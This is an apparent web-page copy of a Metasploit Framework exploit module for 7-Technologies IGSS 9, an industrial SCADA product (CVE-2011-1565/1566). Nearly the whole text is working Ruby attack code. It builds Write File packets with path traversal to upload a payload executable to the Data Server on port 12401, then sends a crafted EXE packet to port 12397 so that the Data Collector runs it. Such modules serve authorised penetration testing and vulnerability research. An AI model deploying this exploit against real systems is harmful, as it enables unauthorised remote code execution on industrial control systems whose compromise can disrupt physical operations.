CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/igss9_misc.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::EXE
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",
15
'Description' => %q{
16
This module exploits multiple vulnerabilities found on IGSS 9's Data Server and
17
Data Collector services. The initial approach is first by transferring our binary
18
with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send
19
an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run
20
that payload with a CreateProcessA() function as a new thread.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'Luigi Auriemma', #Initial discovery, poc
26
'sinn3r', #Metasploit
27
],
28
'References' =>
29
[
30
[ 'CVE', '2011-1565'],
31
[ 'CVE', '2011-1566'],
32
[ 'OSVDB', '72354'],
33
[ 'OSVDB', '72349'],
34
[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ], #Write File packet flaw
35
[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ], #EXE packet flaw
36
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-132-01A']
37
],
38
'DefaultOptions' =>
39
{
40
'EXITFUNC' => "none",
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
#Service packs do not have any influence on the exploit
46
[ 'Windows XP', {} ],
47
[ 'Windows 7', {} ],
48
[ 'Windows Server 2003 / R2' , {} ],
49
],
50
'Privileged' => false,
51
'DisclosureDate' => '2011-03-24'))
52
53
register_options(
54
[
55
Opt::RPORT(0, false),
56
])
57
end
58
59
def write_packets(data)
60
pkts = []
61
62
#Payload will be in C:\Documents and Settings\All Users\Application Data\7T\
63
tmp = rand_text_alpha(1)
64
filename = "#{tmp}.exe"
65
66
data_size = data.length
67
68
0.step(data_size, 870) do |s|
69
#Each packet only contains 870 bytes of data
70
chunk = data[s, 870]
71
72
#Data size of this packet
73
chunk_size = [chunk.length].pack('v')
74
75
#Flag is set if this is our last chunk
76
#Flag 0x01 will cause the server to close the connection
77
flag = (chunk.length >= 870) ? "\x00" : "\x01"
78
79
pkt = "\x01\x00\x34\x12"
80
pkt << "\x0D" #Opcode
81
pkt << "\x00"*7
82
pkt << flag #Flag
83
pkt << "\x00\x00\x00"
84
pkt << "\x02" #Command (Write File)
85
pkt << "\x00\x00\x00"
86
pkt << "../../../../#{filename}" #Filename
87
pkt << "\x00"*73
88
pkt << "\x3E\x01\x01\x02"
89
pkt << "\x00\x10"
90
pkt << "\x00\x00"
91
pkt << "\x78\x01\x08\x04"
92
pkt << "\x78\x01\x08\x04"
93
pkt << "\x00"*22
94
pkt << chunk_size #Data size
95
pkt << "\x00\x00"
96
pkt << chunk #Data chunk
97
98
#Add the total packet size to the header
99
pkt_size = [pkt.length + 2].pack('v')
100
pkt = pkt_size + pkt
101
102
#Put this packet to the array
103
pkts << pkt
104
end
105
106
return filename, pkts
107
end
108
109
def exe_packet(filename)
110
#Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS
111
#We'll just traverse our way back to C:\ as base
112
base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
113
114
pkt = "\x00\x01"
115
pkt << "\x00\x00\x00\x00\x00\x00\x00"
116
pkt << "\x01"
117
pkt << "\x00\x00"
118
pkt << "\x0A"
119
pkt << "\x00"*31
120
pkt << "#{base}#{filename}\""
121
pkt << "\x00"*163 #only for 1 caracter + .exe (i.exe for example)
122
123
return pkt
124
end
125
126
def exploit
127
#Generate payload and our Write packets
128
print_status("Generating payload...")
129
p = generate_payload_exe
130
fname, w_packets = write_packets(p)
131
w_packets_count = w_packets.length.to_s
132
print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")
133
134
#Generate our EXE packet
135
e_packet = exe_packet(fname)
136
137
#Create socket to igssdataserver.exe (12401)
138
connect(true, {'RPORT'=>12401})
139
140
#Count how many packets we've sent to track progress
141
counter = 1
142
143
#Send Write packets
144
print_status("Sending Write packets...")
145
146
w_packets.each do |packet|
147
vprint_status("Sending packet #{counter}/#{w_packets_count}")
148
counter += 1
149
sock.put(packet)
150
res = sock.get_once() #Wait before we do the next sock.put again
151
end
152
153
#After the 0x01 flag is set, our connection will be closed by the server.
154
disconnect
155
156
#Now to port 12397 (nc.exe)
157
connect(true, {'RPORT'=>12397})
158
159
print_status("Attempt to execute our payload...")
160
sock.put(e_packet)
161
162
#We must delay disconnect() for a bit, otherwise dc.exe won't call
163
#kernel32!CreateProcessA
164
select(nil, nil, nil, 1)
165
disconnect
166
end
167
end
168
169